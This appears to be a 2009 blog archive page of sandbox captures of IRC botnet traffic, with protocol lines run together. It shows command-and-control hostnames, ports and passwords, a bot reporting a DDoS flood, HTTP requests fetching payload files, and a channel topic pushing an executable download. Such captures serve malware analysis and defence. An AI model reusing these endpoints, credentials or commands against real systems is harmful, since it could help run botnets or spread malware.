Month: July 2009

PASS botnetNICK XER-81737USER gvmsi 0 0 :XER-81737USERHOST XER-81737MODE XER-81737 +xiJOIN #botnet botnetNOTICE XER-81737 :.VERSION iroffer v1.2.b02 [20040406152029], http://iroffer.org/ – CYGWIN_NT-5.0 1.5.6(0.108/3/2).NOTICE #botnet :XER-81737 has just versioned me.PRIVMSG #botnet :.[. ddos .].: Flooding: (127.0.0.2:1234) for 50 seconds.PRIVMSG #botnet :.[. ddos .].: Done with flood (0KB/sec).NICK XER-87026USER xvttcxd 0 0 :XER-87026USERHOST XER-87026MODE XER-87026 +xiNICK XER-61899USER tbpuc 0Read more...

Remote Host Port Numberfbi.serveirc.com 6623 NICK XP|00|USA|SP2|58103USER scpfvrz 0 0 :XP|00|USA|SP2|58103USERHOST XP|00|USA|SP2|58103MODE XP|00|USA|SP2|58103 +x+iBJOIN #serverNICK XP|00|USA|SP2|40706USER cexzgj 0 0 :XP|00|USA|SP2|40706USERHOST XP|00|USA|SP2|40706MODE XP|00|USA|SP2|40706 +x+iB

Remote Host Port Numbermsnmessenger.sys32.net 1863 PASS xNICK [USA|XP|xnqydna]USER guar “” “lol” :guar Resolved : [msnmessenger.sys32.net] To [217.23.3.168]

– DNS Queries:lometr.pl DNS_TYPE_A 211.95.79.6 1 wpad DNS_TYPE_A 0 onuka.cn DNS_TYPE_A 93.174.92.197 1 brenz.pl DNS_TYPE_A 211.95.79.6 1 – HTTP Conversations:211.95.79.6:80 – [brenz.pl] Request: GET /mega/lgate.php?n=1DC37736600EE40C Response: 200 “OK” Request: GET /dll/abb.txt Response: 200 “OK” 93.174.92.197:80 – [onuka.cn] Request: GET /ag/lo.txt Response: 200 “OK” Request: GET /main/stat.txt Response: 200 “OK” Request: GET /dll/mal.txt Response: 200 “OK”

Remote Host Port Numberoao.th3kings.net 3333 NICK [00|USA|947039]USER XP-3986 * 0 :COMPUTERNAME Resolved : [oao.th3kings.net] To [203.154.27.139]

Remote Host Port Numberms.update-host.com 4244 Resolved : [ms.update-host.com] To [212.117.177.4]Resolved : [ms.update-host.com] To [66.225.230.213]NICK [00|USA|710132]USER XP-1706 * 0 :COMPUTERNAME

Remote Host Port Numberirc.msn-images.co.cc 7575 Resolved : [irc.msn-images.co.cc] To [88.255.120.235] PASS Virus..NICK VirUs-foahnipa.USER VirUs “” “yxv” : .8,1..8Coded .4By .8VirUs

PASS advance.us.to:6667NICK tsung-luyUSER sabrina “” “advance.us.to” :shortyUSER sabrina “” “bucharest.ro.eu.undernet.org” :shortyUSERHOST tsung-luyNICK :franklinrMODE tsung-luy +iISON Daniel Denisa devil Ionut Jumper Linux Marius Midan Mirel Petri pOrn ReBe Robert Roberto sex sexy unixUSER center “” “bucharest.ro.eu.undernet.org” :tsung-luNICK :tanyajMODE tsung-luy +iwxSILENCE +*!*@*,~*!*@*undernet.org

208.77.191.41:6667 Nick: pc3521487242Username: AUT0Joined Channel: #dbs with Password idiotsChannel Topic for Channel #dbs: “Instalen este: http://www.dtodo1poco.com/LiveMsn.exe”

148.208.212.232:6667 Nick: pc2446981413Username: AUT17Server Pass: analJoined Channel: #sexuaL# with Password anal